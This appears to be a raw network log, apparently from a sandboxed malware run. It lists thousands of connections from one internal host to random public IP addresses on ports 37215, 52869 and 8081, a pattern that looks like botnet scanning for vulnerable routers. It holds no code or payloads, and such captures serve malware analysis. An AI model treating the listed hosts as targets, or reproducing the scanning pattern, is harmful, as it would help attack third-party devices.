Jul 20, 2024 23:01:01.636651039 CEST	52725	37215	192.168.2.14	192.8.153.125
Jul 20, 2024 23:01:01.636662960 CEST	8081	50165	59.122.183.154	192.168.2.14
Jul 20, 2024 23:01:01.636671066 CEST	8081	50165	114.135.167.195	192.168.2.14
Jul 20, 2024 23:01:01.636972904 CEST	52725	37215	192.168.2.14	197.27.36.193
Jul 20, 2024 23:01:01.636972904 CEST	52725	37215	192.168.2.14	41.2.29.71
Jul 20, 2024 23:01:01.636972904 CEST	52725	37215	192.168.2.14	197.105.45.119
Jul 20, 2024 23:01:01.636972904 CEST	52725	37215	192.168.2.14	157.221.166.47
Jul 20, 2024 23:01:01.637029886 CEST	50165	8081	192.168.2.14	76.187.66.63
Jul 20, 2024 23:01:01.637029886 CEST	50165	8081	192.168.2.14	221.215.226.16
Jul 20, 2024 23:01:01.637029886 CEST	49909	52869	192.168.2.14	72.184.169.139
Jul 20, 2024 23:01:01.637029886 CEST	49909	52869	192.168.2.14	71.96.116.185
Jul 20, 2024 23:01:01.637029886 CEST	49909	52869	192.168.2.14	196.52.15.30
Jul 20, 2024 23:01:01.637029886 CEST	49909	52869	192.168.2.14	62.62.247.176
Jul 20, 2024 23:01:01.637029886 CEST	49909	52869	192.168.2.14	5.43.253.115
Jul 20, 2024 23:01:01.637222052 CEST	49909	52869	192.168.2.14	54.198.216.131
Jul 20, 2024 23:01:01.637222052 CEST	49909	52869	192.168.2.14	114.173.101.131
Jul 20, 2024 23:01:01.637222052 CEST	49909	52869	192.168.2.14	145.114.175.209
Jul 20, 2024 23:01:01.637222052 CEST	49909	52869	192.168.2.14	154.234.222.130
Jul 20, 2024 23:01:01.637222052 CEST	49909	52869	192.168.2.14	207.107.95.51
Jul 20, 2024 23:01:01.637222052 CEST	49909	52869	192.168.2.14	123.243.178.81
Jul 20, 2024 23:01:01.637222052 CEST	49909	52869	192.168.2.14	65.248.115.141
Jul 20, 2024 23:01:01.637222052 CEST	49909	52869	192.168.2.14	222.15.221.37
Jul 20, 2024 23:01:01.637307882 CEST	49909	52869	192.168.2.14	64.213.179.125
Jul 20, 2024 23:01:01.637307882 CEST	49909	52869	192.168.2.14	206.233.127.191
Jul 20, 2024 23:01:01.637307882 CEST	49909	52869	192.168.2.14	149.86.2.31
Jul 20, 2024 23:01:01.637307882 CEST	49909	52869	192.168.2.14	124.90.204.138
Jul 20, 2024 23:01:01.637307882 CEST	49909	52869	192.168.2.14	157.159.16.125
Jul 20, 2024 23:01:01.637307882 CEST	49909	52869	192.168.2.14	146.126.33.191
Jul 20, 2024 23:01:01.637307882 CEST	49909	52869	192.168.2.14	172.76.44.174
Jul 20, 2024 23:01:01.637337923 CEST	8081	50165	203.38.132.152	192.168.2.14
Jul 20, 2024 23:01:01.637346983 CEST	8081	50165	78.243.69.22	192.168.2.14
Jul 20, 2024 23:01:01.637480974 CEST	8081	50165	174.157.235.161	192.168.2.14
Jul 20, 2024 23:01:01.637490034 CEST	8081	50165	183.94.165.33	192.168.2.14
Jul 20, 2024 23:01:01.637499094 CEST	8081	50165	81.75.231.68	192.168.2.14
Jul 20, 2024 23:01:01.637507915 CEST	8081	50165	41.59.197.107	192.168.2.14
Jul 20, 2024 23:01:01.637516975 CEST	8081	50165	131.89.55.103	192.168.2.14
Jul 20, 2024 23:01:01.637526989 CEST	8081	50165	54.30.127.37	192.168.2.14
Jul 20, 2024 23:01:01.637543917 CEST	8081	50165	212.140.234.181	192.168.2.14
Jul 20, 2024 23:01:01.637552023 CEST	8081	50165	89.97.141.193	192.168.2.14
Jul 20, 2024 23:01:01.637559891 CEST	8081	50165	157.83.56.116	192.168.2.14
Jul 20, 2024 23:01:01.637567997 CEST	8081	50165	60.84.128.91	192.168.2.14
Jul 20, 2024 23:01:01.637576103 CEST	8081	50165	85.98.72.106	192.168.2.14
Jul 20, 2024 23:01:01.637583971 CEST	8081	50165	106.2.91.143	192.168.2.14
Jul 20, 2024 23:01:01.637593031 CEST	8081	50165	171.237.111.175	192.168.2.14
Jul 20, 2024 23:01:01.637600899 CEST	8081	50165	178.225.122.2	192.168.2.14
Jul 20, 2024 23:01:01.637643099 CEST	49909	52869	192.168.2.14	181.129.237.7
Jul 20, 2024 23:01:01.637643099 CEST	49909	52869	192.168.2.14	194.147.115.196
Jul 20, 2024 23:01:01.637643099 CEST	49909	52869	192.168.2.14	182.207.82.188
Jul 20, 2024 23:01:01.637643099 CEST	49909	52869	192.168.2.14	209.88.50.174
Jul 20, 2024 23:01:01.637643099 CEST	49909	52869	192.168.2.14	37.92.251.97
Jul 20, 2024 23:01:01.637643099 CEST	49909	52869	192.168.2.14	173.77.175.8
Jul 20, 2024 23:01:01.637643099 CEST	49909	52869	192.168.2.14	217.244.72.189
Jul 20, 2024 23:01:01.637643099 CEST	49909	52869	192.168.2.14	41.70.70.158
Jul 20, 2024 23:01:01.637743950 CEST	8081	50165	118.191.128.241	192.168.2.14
Jul 20, 2024 23:01:01.637881994 CEST	49909	52869	192.168.2.14	141.224.95.108
Jul 20, 2024 23:01:01.637881994 CEST	49909	52869	192.168.2.14	151.136.169.42
Jul 20, 2024 23:01:01.637881994 CEST	49909	52869	192.168.2.14	49.217.12.33
Jul 20, 2024 23:01:01.637881994 CEST	49909	52869	192.168.2.14	188.64.202.52
Jul 20, 2024 23:01:01.637881994 CEST	49909	52869	192.168.2.14	187.235.69.197
Jul 20, 2024 23:01:01.637881994 CEST	49909	52869	192.168.2.14	64.61.21.55
Jul 20, 2024 23:01:01.638478994 CEST	8081	50165	190.160.58.243	192.168.2.14
Jul 20, 2024 23:01:01.638715029 CEST	49909	52869	192.168.2.14	35.91.143.191
Jul 20, 2024 23:01:01.638715029 CEST	49909	52869	192.168.2.14	2.115.51.25
Jul 20, 2024 23:01:01.638715029 CEST	49909	52869	192.168.2.14	47.67.168.49
Jul 20, 2024 23:01:01.638715029 CEST	49909	52869	192.168.2.14	111.86.157.53
Jul 20, 2024 23:01:01.638715029 CEST	49909	52869	192.168.2.14	5.108.28.159
Jul 20, 2024 23:01:01.638715029 CEST	49909	52869	192.168.2.14	117.199.176.147
Jul 20, 2024 23:01:01.638715029 CEST	49909	52869	192.168.2.14	60.68.1.166
Jul 20, 2024 23:01:01.638715029 CEST	49909	52869	192.168.2.14	40.224.141.14
Jul 20, 2024 23:01:01.638756037 CEST	8081	50165	185.0.89.145	192.168.2.14
Jul 20, 2024 23:01:01.638766050 CEST	8081	50165	35.238.165.89	192.168.2.14
Jul 20, 2024 23:01:01.638809919 CEST	8081	50165	8.238.176.84	192.168.2.14
Jul 20, 2024 23:01:01.638819933 CEST	8081	50165	188.187.167.83	192.168.2.14
Jul 20, 2024 23:01:01.638828993 CEST	8081	50165	176.79.122.249	192.168.2.14
Jul 20, 2024 23:01:01.638957977 CEST	8081	50165	13.93.41.107	192.168.2.14
Jul 20, 2024 23:01:01.638967037 CEST	49909	52869	192.168.2.14	188.154.109.67
Jul 20, 2024 23:01:01.638967037 CEST	49909	52869	192.168.2.14	115.118.201.201
Jul 20, 2024 23:01:01.638967037 CEST	49909	52869	192.168.2.14	167.60.40.217
Jul 20, 2024 23:01:01.638967037 CEST	49909	52869	192.168.2.14	65.29.160.70
Jul 20, 2024 23:01:01.638967037 CEST	49909	52869	192.168.2.14	60.154.99.20
Jul 20, 2024 23:01:01.638967037 CEST	49909	52869	192.168.2.14	36.44.157.9
Jul 20, 2024 23:01:01.638967037 CEST	49909	52869	192.168.2.14	19.130.123.151
Jul 20, 2024 23:01:01.638967037 CEST	49909	52869	192.168.2.14	179.90.129.47
Jul 20, 2024 23:01:01.639029980 CEST	8081	50165	82.62.176.97	192.168.2.14
Jul 20, 2024 23:01:01.639039040 CEST	8081	50165	95.42.189.59	192.168.2.14
Jul 20, 2024 23:01:01.639048100 CEST	8081	50165	211.207.185.31	192.168.2.14
Jul 20, 2024 23:01:01.639056921 CEST	49909	52869	192.168.2.14	152.149.61.199
Jul 20, 2024 23:01:01.639056921 CEST	49909	52869	192.168.2.14	85.70.210.244
Jul 20, 2024 23:01:01.639056921 CEST	49909	52869	192.168.2.14	178.57.58.147
Jul 20, 2024 23:01:01.639056921 CEST	49909	52869	192.168.2.14	2.46.59.12
Jul 20, 2024 23:01:01.639056921 CEST	49909	52869	192.168.2.14	169.73.158.246
Jul 20, 2024 23:01:01.639056921 CEST	49909	52869	192.168.2.14	58.141.211.31
Jul 20, 2024 23:01:01.639056921 CEST	49909	52869	192.168.2.14	44.96.234.78
Jul 20, 2024 23:01:01.639065981 CEST	8081	50165	40.162.194.16	192.168.2.14
Jul 20, 2024 23:01:01.639075041 CEST	8081	50165	195.21.191.73	192.168.2.14
Jul 20, 2024 23:01:01.639082909 CEST	8081	50165	207.0.205.171	192.168.2.14
Jul 20, 2024 23:01:01.639091015 CEST	8081	50165	24.118.226.234	192.168.2.14
Jul 20, 2024 23:01:01.639108896 CEST	37215	34462	197.74.63.134	192.168.2.14
Jul 20, 2024 23:01:01.639293909 CEST	49909	52869	192.168.2.14	74.231.66.1
Jul 20, 2024 23:01:01.639293909 CEST	49909	52869	192.168.2.14	14.68.225.116
Jul 20, 2024 23:01:01.639293909 CEST	49909	52869	192.168.2.14	108.207.129.253
Jul 20, 2024 23:01:01.639511108 CEST	49909	52869	192.168.2.14	147.24.204.167
Jul 20, 2024 23:01:01.639511108 CEST	49909	52869	192.168.2.14	97.182.119.204
Jul 20, 2024 23:01:01.639511108 CEST	49909	52869	192.168.2.14	2.229.175.12
Jul 20, 2024 23:01:01.640059948 CEST	52725	37215	192.168.2.14	197.88.152.77
Jul 20, 2024 23:01:01.640280962 CEST	52725	37215	192.168.2.14	207.22.189.218
Jul 20, 2024 23:01:01.640280962 CEST	52725	37215	192.168.2.14	197.137.74.201
Jul 20, 2024 23:01:01.640280962 CEST	52725	37215	192.168.2.14	197.179.55.14
Jul 20, 2024 23:01:01.640280962 CEST	52725	37215	192.168.2.14	197.56.200.101
Jul 20, 2024 23:01:01.640280962 CEST	52725	37215	192.168.2.14	41.156.70.244
Jul 20, 2024 23:01:01.640280962 CEST	52725	37215	192.168.2.14	197.176.223.107
Jul 20, 2024 23:01:01.640459061 CEST	49909	52869	192.168.2.14	174.117.157.2
Jul 20, 2024 23:01:01.640459061 CEST	49909	52869	192.168.2.14	72.222.174.251
Jul 20, 2024 23:01:01.640459061 CEST	49909	52869	192.168.2.14	171.144.139.139
Jul 20, 2024 23:01:01.640459061 CEST	49909	52869	192.168.2.14	72.146.47.133
Jul 20, 2024 23:01:01.640459061 CEST	49909	52869	192.168.2.14	173.171.125.50
Jul 20, 2024 23:01:01.640459061 CEST	49909	52869	192.168.2.14	87.85.193.52
Jul 20, 2024 23:01:01.640625954 CEST	37215	52725	157.246.37.143	192.168.2.14
Jul 20, 2024 23:01:01.640644073 CEST	37215	52725	157.16.165.137	192.168.2.14
Jul 20, 2024 23:01:01.640652895 CEST	37215	52725	41.141.61.183	192.168.2.14
Jul 20, 2024 23:01:01.640661001 CEST	37215	52725	41.227.183.11	192.168.2.14
Jul 20, 2024 23:01:01.640696049 CEST	37215	52725	197.36.193.202	192.168.2.14
Jul 20, 2024 23:01:01.640703917 CEST	37215	52725	197.122.87.255	192.168.2.14
Jul 20, 2024 23:01:01.640712976 CEST	37215	52725	197.71.69.175	192.168.2.14
Jul 20, 2024 23:01:01.640721083 CEST	37215	52725	197.161.254.227	192.168.2.14
Jul 20, 2024 23:01:01.640729904 CEST	37215	52725	41.124.153.49	192.168.2.14
Jul 20, 2024 23:01:01.640738964 CEST	37215	52725	41.174.248.124	192.168.2.14
Jul 20, 2024 23:01:01.640753984 CEST	37215	52725	197.98.176.181	192.168.2.14
Jul 20, 2024 23:01:01.640856981 CEST	50165	8081	192.168.2.14	117.229.55.135
Jul 20, 2024 23:01:01.640856981 CEST	50165	8081	192.168.2.14	78.7.103.243
Jul 20, 2024 23:01:01.640856981 CEST	50165	8081	192.168.2.14	109.192.86.200
Jul 20, 2024 23:01:01.640856981 CEST	50165	8081	192.168.2.14	195.181.3.41
Jul 20, 2024 23:01:01.640856981 CEST	50165	8081	192.168.2.14	69.203.218.60
Jul 20, 2024 23:01:01.640893936 CEST	49909	52869	192.168.2.14	168.236.58.106
Jul 20, 2024 23:01:01.640893936 CEST	49909	52869	192.168.2.14	209.87.192.88
Jul 20, 2024 23:01:01.640893936 CEST	49909	52869	192.168.2.14	222.151.202.253
Jul 20, 2024 23:01:01.640893936 CEST	49909	52869	192.168.2.14	51.249.121.241
Jul 20, 2024 23:01:01.640893936 CEST	49909	52869	192.168.2.14	90.146.163.93
Jul 20, 2024 23:01:01.640893936 CEST	49909	52869	192.168.2.14	35.112.217.187
Jul 20, 2024 23:01:01.640893936 CEST	49909	52869	192.168.2.14	38.32.235.210
Jul 20, 2024 23:01:01.640893936 CEST	49909	52869	192.168.2.14	36.198.164.211
Jul 20, 2024 23:01:01.641189098 CEST	49909	52869	192.168.2.14	82.116.127.119
Jul 20, 2024 23:01:01.641190052 CEST	49909	52869	192.168.2.14	102.74.231.103
Jul 20, 2024 23:01:01.642067909 CEST	49909	52869	192.168.2.14	181.217.27.35
Jul 20, 2024 23:01:01.642067909 CEST	49909	52869	192.168.2.14	43.233.86.230
Jul 20, 2024 23:01:01.642117023 CEST	52725	37215	192.168.2.14	92.44.163.203
Jul 20, 2024 23:01:01.642117023 CEST	52725	37215	192.168.2.14	190.84.44.13
Jul 20, 2024 23:01:01.642117023 CEST	52725	37215	192.168.2.14	41.62.252.224
Jul 20, 2024 23:01:01.642117023 CEST	52725	37215	192.168.2.14	197.241.51.171
Jul 20, 2024 23:01:01.642117023 CEST	52725	37215	192.168.2.14	41.210.119.234
Jul 20, 2024 23:01:01.642117023 CEST	52725	37215	192.168.2.14	167.219.163.163
Jul 20, 2024 23:01:01.642117023 CEST	52725	37215	192.168.2.14	157.208.95.241
Jul 20, 2024 23:01:01.642193079 CEST	49909	52869	192.168.2.14	126.63.129.65
Jul 20, 2024 23:01:01.642193079 CEST	49909	52869	192.168.2.14	209.180.225.131
Jul 20, 2024 23:01:01.642193079 CEST	49909	52869	192.168.2.14	190.120.169.109
Jul 20, 2024 23:01:01.642193079 CEST	49909	52869	192.168.2.14	149.3.41.152
Jul 20, 2024 23:01:01.642193079 CEST	49909	52869	192.168.2.14	98.212.47.174
Jul 20, 2024 23:01:01.642364025 CEST	49909	52869	192.168.2.14	4.76.132.243
Jul 20, 2024 23:01:01.642364025 CEST	49909	52869	192.168.2.14	187.152.198.171
Jul 20, 2024 23:01:01.642364025 CEST	49909	52869	192.168.2.14	150.98.203.205
Jul 20, 2024 23:01:01.642364025 CEST	49909	52869	192.168.2.14	142.63.104.210
Jul 20, 2024 23:01:01.642364025 CEST	49909	52869	192.168.2.14	161.38.138.203
Jul 20, 2024 23:01:01.642874002 CEST	50165	8081	192.168.2.14	164.126.9.99
Jul 20, 2024 23:01:01.642874956 CEST	50165	8081	192.168.2.14	142.129.254.43
Jul 20, 2024 23:01:01.642874956 CEST	50165	8081	192.168.2.14	172.149.78.152
Jul 20, 2024 23:01:01.642874956 CEST	49909	52869	192.168.2.14	40.156.155.77
Jul 20, 2024 23:01:01.642874956 CEST	50165	8081	192.168.2.14	4.209.97.188
Jul 20, 2024 23:01:01.642874956 CEST	50165	8081	192.168.2.14	202.249.163.83
Jul 20, 2024 23:01:01.642874956 CEST	50165	8081	192.168.2.14	212.214.168.71
Jul 20, 2024 23:01:01.642934084 CEST	50165	8081	192.168.2.14	50.25.143.35
Jul 20, 2024 23:01:01.642934084 CEST	50165	8081	192.168.2.14	45.250.75.182
Jul 20, 2024 23:01:01.642934084 CEST	50165	8081	192.168.2.14	150.68.225.205
Jul 20, 2024 23:01:01.642934084 CEST	50165	8081	192.168.2.14	90.240.82.223
Jul 20, 2024 23:01:01.642934084 CEST	50165	8081	192.168.2.14	115.192.153.206
Jul 20, 2024 23:01:01.642934084 CEST	50165	8081	192.168.2.14	110.231.24.177
Jul 20, 2024 23:01:01.642934084 CEST	50165	8081	192.168.2.14	192.67.75.80
Jul 20, 2024 23:01:01.642935038 CEST	50165	8081	192.168.2.14	167.202.188.3
Jul 20, 2024 23:01:01.643212080 CEST	37215	52725	197.49.108.15	192.168.2.14
Jul 20, 2024 23:01:01.643371105 CEST	37215	52725	197.195.128.108	192.168.2.14
Jul 20, 2024 23:01:01.643381119 CEST	37215	52725	197.187.62.184	192.168.2.14
Jul 20, 2024 23:01:01.643542051 CEST	50165	8081	192.168.2.14	179.71.237.234
Jul 20, 2024 23:01:01.643542051 CEST	50165	8081	192.168.2.14	60.251.232.122
Jul 20, 2024 23:01:01.643542051 CEST	50165	8081	192.168.2.14	58.28.188.75
Jul 20, 2024 23:01:01.643542051 CEST	50165	8081	192.168.2.14	89.111.105.39
Jul 20, 2024 23:01:01.643542051 CEST	50165	8081	192.168.2.14	13.210.174.207
Jul 20, 2024 23:01:01.644206047 CEST	37215	52725	197.79.128.206	192.168.2.14
Jul 20, 2024 23:01:01.644213915 CEST	37215	52725	122.61.140.184	192.168.2.14
Jul 20, 2024 23:01:01.644222975 CEST	37215	52725	157.245.59.6	192.168.2.14
Jul 20, 2024 23:01:01.644232035 CEST	37215	52725	157.92.230.86	192.168.2.14
Jul 20, 2024 23:01:01.644238949 CEST	37215	52725	197.78.40.227	192.168.2.14
Jul 20, 2024 23:01:01.644248009 CEST	37215	52725	41.222.237.27	192.168.2.14
Jul 20, 2024 23:01:01.644256115 CEST	37215	52725	197.112.184.220	192.168.2.14
Jul 20, 2024 23:01:01.644264936 CEST	8081	50165	76.205.198.124	192.168.2.14
Jul 20, 2024 23:01:01.644263983 CEST	52725	37215	192.168.2.14	155.108.238.231
Jul 20, 2024 23:01:01.644263983 CEST	52725	37215	192.168.2.14	17.142.113.86
Jul 20, 2024 23:01:01.644263983 CEST	52725	37215	192.168.2.14	173.85.77.31
Jul 20, 2024 23:01:01.644263983 CEST	52725	37215	192.168.2.14	197.206.16.185
Jul 20, 2024 23:01:01.644263983 CEST	52725	37215	192.168.2.14	197.5.132.220
Jul 20, 2024 23:01:01.644263983 CEST	52725	37215	192.168.2.14	137.87.136.218
Jul 20, 2024 23:01:01.644273043 CEST	8081	50165	113.24.86.35	192.168.2.14
Jul 20, 2024 23:01:01.644290924 CEST	8081	50165	45.249.117.50	192.168.2.14
Jul 20, 2024 23:01:01.644299030 CEST	8081	50165	115.74.94.198	192.168.2.14
Jul 20, 2024 23:01:01.644306898 CEST	8081	50165	59.239.22.67	192.168.2.14
Jul 20, 2024 23:01:01.644315958 CEST	8081	50165	85.56.119.156	192.168.2.14
Jul 20, 2024 23:01:01.644324064 CEST	8081	50165	123.136.241.119	192.168.2.14
Jul 20, 2024 23:01:01.644332886 CEST	8081	50165	138.125.93.118	192.168.2.14
Jul 20, 2024 23:01:01.644336939 CEST	49909	52869	192.168.2.14	211.247.22.129
Jul 20, 2024 23:01:01.644336939 CEST	49909	52869	192.168.2.14	130.190.186.142
Jul 20, 2024 23:01:01.644336939 CEST	49909	52869	192.168.2.14	8.188.8.56
Jul 20, 2024 23:01:01.644336939 CEST	49909	52869	192.168.2.14	165.198.120.17
Jul 20, 2024 23:01:01.644336939 CEST	49909	52869	192.168.2.14	102.223.154.160
Jul 20, 2024 23:01:01.644336939 CEST	49909	52869	192.168.2.14	196.159.190.117
Jul 20, 2024 23:01:01.644336939 CEST	49909	52869	192.168.2.14	177.232.37.130
Jul 20, 2024 23:01:01.644336939 CEST	49909	52869	192.168.2.14	141.25.137.192
Jul 20, 2024 23:01:01.644340992 CEST	8081	50165	25.163.107.205	192.168.2.14
Jul 20, 2024 23:01:01.644357920 CEST	8081	50165	89.15.82.148	192.168.2.14
Jul 20, 2024 23:01:01.644366026 CEST	8081	50165	173.64.134.113	192.168.2.14
Jul 20, 2024 23:01:01.644375086 CEST	8081	50165	54.145.210.187	192.168.2.14
Jul 20, 2024 23:01:01.644428968 CEST	37215	52725	41.107.116.218	192.168.2.14
Jul 20, 2024 23:01:01.644438028 CEST	37215	52725	157.84.58.6	192.168.2.14
Jul 20, 2024 23:01:01.644445896 CEST	37215	52725	197.165.176.194	192.168.2.14
Jul 20, 2024 23:01:01.644454956 CEST	37215	52725	197.203.38.106	192.168.2.14
Jul 20, 2024 23:01:01.644463062 CEST	37215	52725	41.129.204.78	192.168.2.14
Jul 20, 2024 23:01:01.644470930 CEST	37215	52725	119.111.116.199	192.168.2.14
Jul 20, 2024 23:01:01.644478083 CEST	37215	52725	197.159.162.218	192.168.2.14
Jul 20, 2024 23:01:01.644496918 CEST	37215	52725	41.69.18.54	192.168.2.14
Jul 20, 2024 23:01:01.644505024 CEST	37215	52725	197.133.225.53	192.168.2.14
Jul 20, 2024 23:01:01.644512892 CEST	37215	52725	41.83.182.39	192.168.2.14
Jul 20, 2024 23:01:01.644532919 CEST	37215	52725	41.54.174.227	192.168.2.14
Jul 20, 2024 23:01:01.644541025 CEST	37215	52725	157.218.44.108	192.168.2.14
Jul 20, 2024 23:01:01.644548893 CEST	37215	52725	157.159.13.2	192.168.2.14
Jul 20, 2024 23:01:01.644556999 CEST	37215	52725	197.53.238.209	192.168.2.14
Jul 20, 2024 23:01:01.644581079 CEST	49909	52869	192.168.2.14	110.190.170.59
Jul 20, 2024 23:01:01.644581079 CEST	49909	52869	192.168.2.14	66.134.165.127
Jul 20, 2024 23:01:01.644582033 CEST	37215	52725	197.202.152.139	192.168.2.14
Jul 20, 2024 23:01:01.644581079 CEST	49909	52869	192.168.2.14	79.199.66.178
Jul 20, 2024 23:01:01.644581079 CEST	49909	52869	192.168.2.14	202.104.226.178
Jul 20, 2024 23:01:01.644581079 CEST	49909	52869	192.168.2.14	90.177.164.7
Jul 20, 2024 23:01:01.644581079 CEST	49909	52869	192.168.2.14	93.146.13.88
Jul 20, 2024 23:01:01.644581079 CEST	49909	52869	192.168.2.14	148.251.241.27
Jul 20, 2024 23:01:01.644581079 CEST	49909	52869	192.168.2.14	131.143.187.44
Jul 20, 2024 23:01:01.644591093 CEST	37215	52725	158.122.212.23	192.168.2.14
Jul 20, 2024 23:01:01.644598961 CEST	37215	52725	41.226.182.0	192.168.2.14
Jul 20, 2024 23:01:01.644607067 CEST	37215	52725	157.205.73.131	192.168.2.14
Jul 20, 2024 23:01:01.644617081 CEST	37215	52725	41.44.153.32	192.168.2.14
Jul 20, 2024 23:01:01.644624949 CEST	37215	52725	70.103.57.174	192.168.2.14
Jul 20, 2024 23:01:01.644640923 CEST	37215	52725	157.41.234.104	192.168.2.14
Jul 20, 2024 23:01:01.644649029 CEST	37215	52725	41.198.144.50	192.168.2.14
Jul 20, 2024 23:01:01.644658089 CEST	37215	52725	157.13.78.26	192.168.2.14
Jul 20, 2024 23:01:01.644675016 CEST	37215	52725	23.171.217.129	192.168.2.14
Jul 20, 2024 23:01:01.644682884 CEST	37215	52725	157.41.54.250	192.168.2.14
Jul 20, 2024 23:01:01.644707918 CEST	37215	52725	197.196.0.1	192.168.2.14
Jul 20, 2024 23:01:01.644834042 CEST	49909	52869	192.168.2.14	39.210.89.58
Jul 20, 2024 23:01:01.644834042 CEST	49909	52869	192.168.2.14	164.167.12.122
Jul 20, 2024 23:01:01.644834042 CEST	49909	52869	192.168.2.14	125.3.74.189
Jul 20, 2024 23:01:01.644834042 CEST	49909	52869	192.168.2.14	209.18.126.8
Jul 20, 2024 23:01:01.644834042 CEST	49909	52869	192.168.2.14	40.154.4.194
Jul 20, 2024 23:01:01.644834042 CEST	49909	52869	192.168.2.14	189.62.96.130
Jul 20, 2024 23:01:01.644834042 CEST	49909	52869	192.168.2.14	112.81.247.52
Jul 20, 2024 23:01:01.644834042 CEST	49909	52869	192.168.2.14	188.113.207.193
Jul 20, 2024 23:01:01.644912004 CEST	49909	52869	192.168.2.14	47.176.29.89
Jul 20, 2024 23:01:01.644912004 CEST	49909	52869	192.168.2.14	53.61.246.149
Jul 20, 2024 23:01:01.644912004 CEST	49909	52869	192.168.2.14	70.32.28.235
Jul 20, 2024 23:01:01.644912004 CEST	49909	52869	192.168.2.14	191.219.60.78
Jul 20, 2024 23:01:01.645111084 CEST	49909	52869	192.168.2.14	121.157.93.141
Jul 20, 2024 23:01:01.645111084 CEST	49909	52869	192.168.2.14	166.141.208.49
Jul 20, 2024 23:01:01.645111084 CEST	49909	52869	192.168.2.14	13.116.23.66
Jul 20, 2024 23:01:01.645111084 CEST	49909	52869	192.168.2.14	223.90.200.221
Jul 20, 2024 23:01:01.645111084 CEST	49909	52869	192.168.2.14	203.17.88.26
Jul 20, 2024 23:01:01.645111084 CEST	49909	52869	192.168.2.14	38.59.46.16
Jul 20, 2024 23:01:01.645111084 CEST	49909	52869	192.168.2.14	116.127.249.114
Jul 20, 2024 23:01:01.645111084 CEST	49909	52869	192.168.2.14	2.166.97.26
Jul 20, 2024 23:01:01.645277977 CEST	8081	50165	90.38.163.133	192.168.2.14
Jul 20, 2024 23:01:01.645426989 CEST	8081	50165	65.61.160.164	192.168.2.14
Jul 20, 2024 23:01:01.645445108 CEST	50165	8081	192.168.2.14	140.16.184.41
Jul 20, 2024 23:01:01.645446062 CEST	50165	8081	192.168.2.14	96.212.54.227
Jul 20, 2024 23:01:01.645446062 CEST	50165	8081	192.168.2.14	203.245.161.115
Jul 20, 2024 23:01:01.645446062 CEST	50165	8081	192.168.2.14	184.11.149.31
Jul 20, 2024 23:01:01.645446062 CEST	50165	8081	192.168.2.14	158.102.255.174
Jul 20, 2024 23:01:01.645564079 CEST	49909	52869	192.168.2.14	89.19.188.162
Jul 20, 2024 23:01:01.645564079 CEST	49909	52869	192.168.2.14	145.181.32.187
Jul 20, 2024 23:01:01.645564079 CEST	49909	52869	192.168.2.14	79.47.50.52
Jul 20, 2024 23:01:01.645564079 CEST	49909	52869	192.168.2.14	185.165.8.181
Jul 20, 2024 23:01:01.645564079 CEST	49909	52869	192.168.2.14	199.190.73.110
Jul 20, 2024 23:01:01.645564079 CEST	49909	52869	192.168.2.14	74.151.195.150
Jul 20, 2024 23:01:01.645564079 CEST	49909	52869	192.168.2.14	64.138.112.197
Jul 20, 2024 23:01:01.645564079 CEST	49909	52869	192.168.2.14	206.224.171.168
Jul 20, 2024 23:01:01.645790100 CEST	8081	50165	145.28.75.115	192.168.2.14
Jul 20, 2024 23:01:01.645798922 CEST	8081	50165	35.3.132.9	192.168.2.14
Jul 20, 2024 23:01:01.645807981 CEST	8081	50165	207.156.176.173	192.168.2.14
Jul 20, 2024 23:01:01.645814896 CEST	8081	50165	191.87.191.83	192.168.2.14
Jul 20, 2024 23:01:01.645823956 CEST	8081	50165	147.142.40.59	192.168.2.14
Jul 20, 2024 23:01:01.645832062 CEST	8081	50165	87.162.165.59	192.168.2.14
Jul 20, 2024 23:01:01.645848036 CEST	8081	50165	179.204.168.77	192.168.2.14
Jul 20, 2024 23:01:01.645855904 CEST	8081	50165	141.112.53.45	192.168.2.14
Jul 20, 2024 23:01:01.645864010 CEST	8081	50165	167.178.242.99	192.168.2.14
Jul 20, 2024 23:01:01.645872116 CEST	8081	50165	139.42.233.209	192.168.2.14
Jul 20, 2024 23:01:01.645879984 CEST	8081	50165	2.105.54.168	192.168.2.14
Jul 20, 2024 23:01:01.645889044 CEST	8081	50165	147.96.222.42	192.168.2.14
Jul 20, 2024 23:01:01.645896912 CEST	8081	50165	218.213.179.177	192.168.2.14
Jul 20, 2024 23:01:01.645905972 CEST	8081	50165	170.155.6.243	192.168.2.14
Jul 20, 2024 23:01:01.645922899 CEST	8081	50165	220.68.163.168	192.168.2.14
Jul 20, 2024 23:01:01.645931959 CEST	8081	50165	161.233.163.46	192.168.2.14
Jul 20, 2024 23:01:01.646070957 CEST	49909	52869	192.168.2.14	122.251.247.22
Jul 20, 2024 23:01:01.646070957 CEST	49909	52869	192.168.2.14	205.51.123.179
Jul 20, 2024 23:01:01.646070957 CEST	49909	52869	192.168.2.14	74.241.45.34
Jul 20, 2024 23:01:01.646071911 CEST	49909	52869	192.168.2.14	76.37.231.153
Jul 20, 2024 23:01:01.646071911 CEST	49909	52869	192.168.2.14	24.85.93.51
Jul 20, 2024 23:01:01.646071911 CEST	49909	52869	192.168.2.14	78.239.143.72
Jul 20, 2024 23:01:01.646071911 CEST	49909	52869	192.168.2.14	79.178.206.5
Jul 20, 2024 23:01:01.646410942 CEST	49909	52869	192.168.2.14	128.16.232.126
Jul 20, 2024 23:01:01.646410942 CEST	49909	52869	192.168.2.14	173.55.63.223
Jul 20, 2024 23:01:01.646410942 CEST	49909	52869	192.168.2.14	12.143.130.188
Jul 20, 2024 23:01:01.646410942 CEST	49909	52869	192.168.2.14	158.39.197.5
Jul 20, 2024 23:01:01.646410942 CEST	49909	52869	192.168.2.14	112.101.54.108
Jul 20, 2024 23:01:01.646410942 CEST	49909	52869	192.168.2.14	129.40.55.194
Jul 20, 2024 23:01:01.646410942 CEST	49909	52869	192.168.2.14	189.218.75.154
Jul 20, 2024 23:01:01.646410942 CEST	49909	52869	192.168.2.14	108.65.187.201
Jul 20, 2024 23:01:01.647058964 CEST	8081	50165	160.241.197.51	192.168.2.14
Jul 20, 2024 23:01:01.647068977 CEST	37215	52725	157.22.247.150	192.168.2.14
Jul 20, 2024 23:01:01.647078037 CEST	37215	52725	197.165.177.79	192.168.2.14
Jul 20, 2024 23:01:01.647085905 CEST	37215	52725	157.45.25.14	192.168.2.14
Jul 20, 2024 23:01:01.647103071 CEST	37215	52725	157.119.32.25	192.168.2.14
Jul 20, 2024 23:01:01.647111893 CEST	37215	52725	197.93.68.144	192.168.2.14
Jul 20, 2024 23:01:01.647135973 CEST	37215	52725	41.83.59.196	192.168.2.14
Jul 20, 2024 23:01:01.647152901 CEST	37215	52725	157.30.15.243	192.168.2.14
